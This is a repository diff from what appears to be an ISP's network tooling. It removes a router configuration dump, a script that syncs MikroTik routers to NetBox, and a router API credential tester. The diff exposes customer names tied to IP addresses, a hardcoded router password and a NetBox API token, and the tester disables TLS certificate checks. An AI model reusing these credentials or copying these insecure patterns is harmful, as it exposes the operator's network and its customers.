|
||||
snmp_version = "1"
|
||||
}
|
||||
|
||||
resource "towerops_device" "new_hope_sw" {
|
||||
site_id = towerops_site.new_hope.id
|
||||
name = "new hope sw"
|
||||
ip_address = "10.10.143.14"
|
||||
snmp_version = "1"
|
||||
}
|
||||
|
||||
|
|
@ -1,577 +0,0 @@
|
|||
{
|
||||
"host": "10.254.254.108",
|
||||
"identity": null,
|
||||
"timestamp": "2025-10-04T11:03:22.469427",
|
||||
"subnets": [
|
||||
{
|
||||
"address": "10.254.254.108/32",
|
||||
"network": "10.254.254.108",
|
||||
"interface": "loopback",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.110/29",
|
||||
"network": "10.250.1.104",
|
||||
"interface": "ether6-lowrycrossing-new",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.10.143.254/20",
|
||||
"network": "10.10.128.0",
|
||||
"interface": "bridge_cpe_mgmt",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.254/22",
|
||||
"network": "100.64.16.0",
|
||||
"interface": "sfp-sfpplus1-edgepoint",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "204.110.188.190/27",
|
||||
"network": "204.110.188.160",
|
||||
"interface": "sfp-sfpplus1-edgepoint",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.57/29",
|
||||
"network": "10.250.1.56",
|
||||
"interface": "ether2-380",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.0.108.254/24",
|
||||
"network": "10.0.108.0",
|
||||
"interface": "ether7-tower",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.1",
|
||||
"interface": "<pppoe-christelles>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.8",
|
||||
"interface": "<pppoe-EdRater>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.10",
|
||||
"interface": "<pppoe-mikecurrence>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.12",
|
||||
"interface": "<pppoe-timthomas>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.15",
|
||||
"interface": "<pppoe-cliffordjennings>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.18",
|
||||
"interface": "<pppoe-susanking>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.24",
|
||||
"interface": "<pppoe-kavalleriefarm>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.26",
|
||||
"interface": "<pppoe-connercoleman>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.29",
|
||||
"interface": "<pppoe-christinehamparyan>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "204.110.188.164",
|
||||
"interface": "<pppoe-jamessmith>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.27",
|
||||
"interface": "<pppoe-jackiehendricks>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "204.110.188.161",
|
||||
"interface": "<pppoe-sensibleheatsystems-1>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.20",
|
||||
"interface": "<pppoe-joepatton>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.11",
|
||||
"interface": "<pppoe-joespeciale>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.16",
|
||||
"interface": "<pppoe-kenhall>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.5",
|
||||
"interface": "<pppoe-mikebell>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.9",
|
||||
"interface": "<pppoe-franceskirby>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.19",
|
||||
"interface": "<pppoe-chrisclayton>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.6",
|
||||
"interface": "<pppoe-korybiggsshop>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.13",
|
||||
"interface": "<pppoe-korybiggs>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.17",
|
||||
"interface": "<pppoe-monicatrevino>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.25",
|
||||
"interface": "<pppoe-briangallimore>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.2",
|
||||
"interface": "<pppoe-choonpang>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.14",
|
||||
"interface": "<pppoe-douglaswilson>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "204.110.188.168",
|
||||
"interface": "<pppoe-lambandlion>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.4",
|
||||
"interface": "<pppoe-swedlund>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.28",
|
||||
"interface": "<pppoe-greghummel>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.19.253/32",
|
||||
"network": "100.64.19.3",
|
||||
"interface": "<pppoe-bernardheer>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
}
|
||||
],
|
||||
"interfaces": [
|
||||
{
|
||||
"name": "ether2-380",
|
||||
"type": "ether",
|
||||
"mac": "6C:3B:6B:E1:5D:48",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether5-switch",
|
||||
"type": "ether",
|
||||
"mac": "6C:3B:6B:E1:5D:4B",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether6-lowrycrossing-new",
|
||||
"type": "ether",
|
||||
"mac": "6C:3B:6B:E1:5D:4C",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether7-tower",
|
||||
"type": "ether",
|
||||
"mac": "6C:3B:6B:E1:5D:4D",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "sfp-sfpplus1-edgepoint",
|
||||
"type": "ether",
|
||||
"mac": "6C:3B:6B:E1:5D:45",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-EdRater>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-bernardheer>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-briangallimore>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-choonpang>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-chrisclayton>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-christelles>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-christinehamparyan>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-cliffordjennings>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-connercoleman>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-douglaswilson>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-franceskirby>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-greghummel>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-jackiehendricks>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-jamessmith>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-joepatton>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-joespeciale>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-kavalleriefarm>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-kenhall>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-korybiggs>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-korybiggsshop>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-lambandlion>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-mikebell>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-mikecurrence>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-monicatrevino>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-sensibleheatsystems-1>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-susanking>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-swedlund>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-timthomas>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "bridge_cpe_mgmt",
|
||||
"type": "bridge",
|
||||
"mac": "6C:3B:6B:E1:5D:45",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "lo",
|
||||
"type": "loopback",
|
||||
"mac": "00:00:00:00:00:00",
|
||||
"comment": "",
|
||||
"mtu": 65536
|
||||
},
|
||||
{
|
||||
"name": "loopback",
|
||||
"type": "bridge",
|
||||
"mac": "FE:34:14:95:54:B7",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "mgmt_ether5",
|
||||
"type": "vlan",
|
||||
"mac": "6C:3B:6B:E1:5D:4B",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "mgmt_sfp+",
|
||||
"type": "vlan",
|
||||
"mac": "6C:3B:6B:E1:5D:45",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "newhope",
|
||||
"type": "bridge",
|
||||
"mac": "6C:3B:6B:E1:5D:46",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
}
|
||||
],
|
||||
"vlans": [
|
||||
{
|
||||
"name": "mgmt_ether5",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether5-switch"
|
||||
},
|
||||
{
|
||||
"name": "mgmt_sfp+",
|
||||
"vlan_id": 10,
|
||||
"interface": "sfp-sfpplus1-edgepoint"
|
||||
}
|
||||
],
|
||||
"pppoe_servers": [
|
||||
{
|
||||
"service_name": "newhope",
|
||||
"interface": "newhope"
|
||||
}
|
||||
],
|
||||
"routes": [
|
||||
{
|
||||
"destination": "10.10.144.0/20",
|
||||
"gateway": "10.250.1.105",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.254.254.109/32",
|
||||
"gateway": "10.250.1.105",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "45.76.233.160/32",
|
||||
"gateway": "10.9.108.254",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "100.64.20.0/22",
|
||||
"gateway": "10.250.1.105",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "204.110.188.192/27",
|
||||
"gateway": "10.250.1.105",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
@ -1,2 +0,0 @@
|
|||
requests>=2.31.0
|
||||
urllib3>=2.0.0
|
||||
|
|
@ -1,341 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import requests
|
||||
import json
|
||||
import argparse
|
||||
import sys
|
||||
from urllib.parse import urljoin
|
||||
from mikrotik_connect import MikrotikAPI
|
||||
|
||||
|
||||
class NetBoxSync:
|
||||
def __init__(self, netbox_url, netbox_token):
|
||||
self.base_url = netbox_url.rstrip('/')
|
||||
self.api_url = urljoin(self.base_url + '/', 'api/')
|
||||
self.headers = {
|
||||
'Authorization': f'Token {netbox_token}',
|
||||
'Content-Type': 'application/json',
|
||||
'Accept': 'application/json'
|
||||
}
|
||||
self.session = requests.Session()
|
||||
self.session.headers.update(self.headers)
|
||||
|
||||
def post(self, endpoint, data):
|
||||
"""Make POST request to NetBox API"""
|
||||
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||
response = self.session.post(url, json=data)
|
||||
if response.status_code not in [200, 201]:
|
||||
print(f"Error creating {endpoint}: {response.status_code}")
|
||||
print(f"Response: {response.text}")
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def patch(self, endpoint, data):
|
||||
"""Make PATCH request to NetBox API"""
|
||||
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||
response = self.session.patch(url, json=data)
|
||||
if response.status_code not in [200, 201]:
|
||||
print(f"Error updating {endpoint}: {response.status_code}")
|
||||
print(f"Response: {response.text}")
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def get(self, endpoint, params=None):
|
||||
"""Make GET request to NetBox API"""
|
||||
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||
response = self.session.get(url, params=params)
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def get_or_create_prefix_role(self, role_name):
|
||||
"""Get or create a prefix role"""
|
||||
# Check if role exists
|
||||
role_response = self.get('ipam/roles/', params={'name': role_name})
|
||||
if role_response['count'] > 0:
|
||||
return role_response['results'][0]['id']
|
||||
|
||||
# Create role
|
||||
role_data = {
|
||||
'name': role_name,
|
||||
'slug': role_name.lower().replace(' ', '-')
|
||||
}
|
||||
created_role = self.post('ipam/roles/', role_data)
|
||||
return created_role['id']
|
||||
|
||||
def determine_prefix_role(self, interface_name, ip_address):
|
||||
"""Determine the role of a prefix based on interface and IP"""
|
||||
interface_lower = interface_name.lower()
|
||||
|
||||
if 'loopback' in interface_lower:
|
||||
return 'Loopback'
|
||||
elif any(mgmt in interface_lower for mgmt in ['mgmt', 'management', 'ether1']):
|
||||
return 'Management'
|
||||
elif any(infra in interface_lower for infra in ['tower', 'backhaul', 'climax', 'switch']):
|
||||
return 'Infrastructure'
|
||||
elif ip_address.startswith('100.64.'):
|
||||
return 'CGNAT'
|
||||
elif ip_address.startswith('10.10.'):
|
||||
return 'CPE-Management'
|
||||
elif any(cust in interface_lower for cust in ['customer', 'cpe', 'vlan']):
|
||||
return 'Customer'
|
||||
else:
|
||||
return 'Unknown'
|
||||
|
||||
def determine_interface_type(self, interface_name):
|
||||
"""Determine the NetBox interface type based on MikroTik interface name"""
|
||||
interface_lower = interface_name.lower()
|
||||
|
||||
# Check for specific interface types first (most specific to least specific)
|
||||
if 'loopback' in interface_lower or interface_lower == 'lo':
|
||||
return 'virtual'
|
||||
elif 'vlan' in interface_lower:
|
||||
return 'virtual'
|
||||
elif 'bond' in interface_lower or 'bonding' in interface_lower:
|
||||
return 'lag'
|
||||
elif 'pppoe' in interface_lower:
|
||||
return 'virtual'
|
||||
elif 'sfp-sfpplus' in interface_lower or 'sfpplus' in interface_lower:
|
||||
return '10gbase-x-sfpp'
|
||||
elif 'sfp' in interface_lower:
|
||||
return '1000base-x-sfp'
|
||||
elif 'ether' in interface_lower:
|
||||
return '1000base-t'
|
||||
elif 'wlan' in interface_lower or 'wireless' in interface_lower:
|
||||
return 'ieee802.11n'
|
||||
elif 'bridge' in interface_lower:
|
||||
return 'bridge'
|
||||
# Only check for exact matches for bridge names
|
||||
elif interface_lower in ['verona', 'lowry', 'culleoka', 'climax', 'yorkshire', 'new-hope']:
|
||||
return 'bridge'
|
||||
else:
|
||||
return 'other'
|
||||
|
||||
def sync_router_to_netbox(self, router_ip, router_user, router_pass, site_name, device_name=None):
|
||||
"""Sync router configuration to NetBox"""
|
||||
|
||||
# Connect to router and get data
|
||||
print(f"Connecting to router {router_ip}...")
|
||||
api = MikrotikAPI(router_ip, router_user, router_pass)
|
||||
|
||||
try:
|
||||
if not api.connect():
|
||||
print("Failed to connect to router")
|
||||
return False
|
||||
|
||||
if not api.login():
|
||||
print("Failed to login to router")
|
||||
return False
|
||||
|
||||
# Get all IP addresses from router
|
||||
addresses = api.command("/ip/address/print")
|
||||
print(f"Retrieved {len(addresses)} IP addresses from router")
|
||||
|
||||
finally:
|
||||
api.disconnect()
|
||||
|
||||
# Get site from NetBox
|
||||
site_response = self.get('dcim/sites/', params={'name': site_name})
|
||||
if site_response['count'] == 0:
|
||||
print(f"Error: Site '{site_name}' not found in NetBox")
|
||||
return False
|
||||
|
||||
site_id = site_response['results'][0]['id']
|
||||
print(f"Found site '{site_name}' with ID: {site_id}")
|
||||
|
||||
# Get device if specified
|
||||
device_id = None
|
||||
if device_name:
|
||||
device_response = self.get('dcim/devices/', params={'name': device_name})
|
||||
if device_response['count'] > 0:
|
||||
device_id = device_response['results'][0]['id']
|
||||
print(f"Found device '{device_name}' with ID: {device_id}")
|
||||
else:
|
||||
# Try to find a device at this site
|
||||
device_response = self.get('dcim/devices/', params={'site_id': site_id})
|
||||
if device_response['count'] > 0:
|
||||
device_id = device_response['results'][0]['id']
|
||||
device_name = device_response['results'][0]['name']
|
||||
print(f"Found device '{device_name}' at site")
|
||||
|
||||
# Process addresses (excluding dynamic PPPoE)
|
||||
prefixes_to_create = {}
|
||||
ips_to_update = []
|
||||
|
||||
for addr in addresses:
|
||||
# Skip disabled and dynamic addresses
|
||||
if addr.get('disabled', 'false') == 'true':
|
||||
continue
|
||||
if addr.get('dynamic', 'false') == 'true' and 'pppoe' in addr.get('interface', '').lower():
|
||||
continue
|
||||
|
||||
interface = addr.get('interface', 'unknown')
|
||||
address = addr.get('address', '')
|
||||
network = addr.get('network', '')
|
||||
|
||||
if not address or not network:
|
||||
continue
|
||||
|
||||
# Calculate prefix
|
||||
prefix_bits = address.split('/')[-1]
|
||||
prefix = f"{network}/{prefix_bits}"
|
||||
|
||||
# Store unique prefixes
|
||||
if prefix not in prefixes_to_create and prefix != f"{network}/32":
|
||||
prefixes_to_create[prefix] = {
|
||||
'interface': interface,
|
||||
'role': self.determine_prefix_role(interface, address)
|
||||
}
|
||||
|
||||
# Store IPs to update
|
||||
ips_to_update.append({
|
||||
'address': address,
|
||||
'interface': interface,
|
||||
'prefix': prefix
|
||||
})
|
||||
|
||||
# Create/Update prefixes
|
||||
print(f"\n=== Processing {len(prefixes_to_create)} Prefixes ===")
|
||||
prefix_stats = {'created': 0, 'updated': 0, 'failed': 0}
|
||||
|
||||
for prefix, info in prefixes_to_create.items():
|
||||
# Check if prefix exists
|
||||
prefix_response = self.get('ipam/prefixes/', params={'prefix': prefix})
|
||||
|
||||
prefix_data = {
|
||||
'prefix': prefix,
|
||||
'site': site_id,
|
||||
'status': 'active',
|
||||
'description': f"{site_name} - {info['interface']}",
|
||||
'is_pool': False
|
||||
}
|
||||
|
||||
# Add role
|
||||
try:
|
||||
role_id = self.get_or_create_prefix_role(info['role'])
|
||||
prefix_data['role'] = role_id
|
||||
except:
|
||||
pass
|
||||
|
||||
try:
|
||||
if prefix_response['count'] == 0:
|
||||
# Create new prefix
|
||||
self.post('ipam/prefixes/', prefix_data)
|
||||
print(f"Created prefix: {prefix} ({info['role']})")
|
||||
prefix_stats['created'] += 1
|
||||
else:
|
||||
# Update existing prefix
|
||||
existing_id = prefix_response['results'][0]['id']
|
||||
self.patch(f'ipam/prefixes/{existing_id}/', prefix_data)
|
||||
print(f"Updated prefix: {prefix} ({info['role']})")
|
||||
prefix_stats['updated'] += 1
|
||||
except Exception as e:
|
||||
print(f"Failed to process prefix {prefix}: {e}")
|
||||
prefix_stats['failed'] += 1
|
||||
|
||||
print(f"\nPrefix Summary: {prefix_stats['created']} created, {prefix_stats['updated']} updated, {prefix_stats['failed']} failed")
|
||||
|
||||
# Update IP addresses
|
||||
print(f"\n=== Processing {len(ips_to_update)} IP Addresses ===")
|
||||
ip_stats = {'created': 0, 'updated': 0, 'failed': 0}
|
||||
|
||||
for ip_info in ips_to_update:
|
||||
# Check if IP exists
|
||||
ip_response = self.get('ipam/ip-addresses/', params={'address': ip_info['address']})
|
||||
|
||||
ip_data = {
|
||||
'address': ip_info['address'],
|
||||
'status': 'active',
|
||||
'description': f"{ip_info['interface']}",
|
||||
'tenant': None
|
||||
}
|
||||
|
||||
try:
|
||||
if ip_response['count'] == 0:
|
||||
# Create new IP
|
||||
ip_data['site'] = site_id
|
||||
self.post('ipam/ip-addresses/', ip_data)
|
||||
print(f"Created IP: {ip_info['address']} ({ip_info['interface']})")
|
||||
ip_stats['created'] += 1
|
||||
else:
|
||||
# Update existing IP
|
||||
existing_ip = ip_response['results'][0]
|
||||
existing_id = existing_ip['id']
|
||||
|
||||
# Only update if needed
|
||||
if existing_ip.get('site', {}).get('id') != site_id or existing_ip.get('description') != ip_data['description']:
|
||||
ip_data['site'] = site_id
|
||||
self.patch(f'ipam/ip-addresses/{existing_id}/', ip_data)
|
||||
print(f"Updated IP: {ip_info['address']} ({ip_info['interface']})")
|
||||
ip_stats['updated'] += 1
|
||||
|
||||
# Create interface if device exists
|
||||
if device_id:
|
||||
interface_name = ip_info['interface']
|
||||
|
||||
# Check if interface exists
|
||||
interface_response = self.get('dcim/interfaces/', params={
|
||||
'device_id': device_id,
|
||||
'name': interface_name
|
||||
})
|
||||
|
||||
if interface_response['count'] == 0:
|
||||
# Create interface
|
||||
interface_data = {
|
||||
'device': device_id,
|
||||
'name': interface_name,
|
||||
'type': self.determine_interface_type(interface_name),
|
||||
'enabled': True
|
||||
}
|
||||
try:
|
||||
created_interface = self.post('dcim/interfaces/', interface_data)
|
||||
interface_id = created_interface['id']
|
||||
|
||||
# Assign IP to interface
|
||||
ip_id = self.get('ipam/ip-addresses/', params={'address': ip_info['address']})['results'][0]['id']
|
||||
self.patch(f'ipam/ip-addresses/{ip_id}/', {
|
||||
'assigned_object_type': 'dcim.interface',
|
||||
'assigned_object_id': interface_id
|
||||
})
|
||||
print(f" - Created interface: {interface_name} (Type: {interface_data['type']})")
|
||||
except Exception as e:
|
||||
print(f" - Failed to create interface {interface_name}: {e}")
|
||||
|
||||
except Exception as e:
|
||||
print(f"Failed to process IP {ip_info['address']}: {e}")
|
||||
ip_stats['failed'] += 1
|
||||
|
||||
print(f"\nIP Summary: {ip_stats['created']} created, {ip_stats['updated']} updated, {ip_stats['failed']} failed")
|
||||
|
||||
print("\n=== Sync Complete ===")
|
||||
return True
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='Sync MikroTik router configuration to NetBox')
|
||||
parser.add_argument('router_ip', help='Router IP address')
|
||||
parser.add_argument('site_name', help='NetBox site name')
|
||||
parser.add_argument('--router-user', default='grahamro', help='Router username (default: grahamro)')
|
||||
parser.add_argument('--router-pass', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Router password')
|
||||
parser.add_argument('--device-name', help='NetBox device name (optional)')
|
||||
parser.add_argument('--netbox-url', default='https://netbox.vntx.net/', help='NetBox URL')
|
||||
parser.add_argument('--netbox-token', default='e50298f7fd20f7fd6f1931f635511b34f6e8cfde', help='NetBox API token')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Create sync instance
|
||||
sync = NetBoxSync(args.netbox_url, args.netbox_token)
|
||||
|
||||
# Run sync
|
||||
success = sync.sync_router_to_netbox(
|
||||
args.router_ip,
|
||||
args.router_user,
|
||||
args.router_pass,
|
||||
args.site_name,
|
||||
args.device_name
|
||||
)
|
||||
|
||||
return 0 if success else 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
|
|
@ -1,184 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
MikroTik API Authentication Tester
|
||||
Tests credentials using the MikroTik API protocol on port 8728/8729
|
||||
"""
|
||||
|
||||
import ssl
|
||||
import socket
|
||||
import sys
|
||||
|
||||
class MikrotikAPITester:
|
||||
def __init__(self, host, port=8729):
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.sock = None
|
||||
self.ssl_sock = None
|
||||
|
||||
def connect(self):
|
||||
"""Establish SSL connection to MikroTik router"""
|
||||
try:
|
||||
# Create socket and SSL context
|
||||
context = ssl.create_default_context()
|
||||
context.check_hostname = False
|
||||
context.verify_mode = ssl.CERT_NONE
|
||||
# Allow older SSL/TLS versions for compatibility
|
||||
context.set_ciphers('DEFAULT:@SECLEVEL=0')
|
||||
|
||||
# Connect to router
|
||||
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
self.sock.settimeout(10)
|
||||
self.sock.connect((self.host, self.port))
|
||||
self.ssl_sock = context.wrap_socket(self.sock)
|
||||
return True
|
||||
except Exception as e:
|
||||
print(f"Connection failed: {e}")
|
||||
return False
|
||||
|
||||
def disconnect(self):
|
||||
"""Close the connection"""
|
||||
if self.ssl_sock:
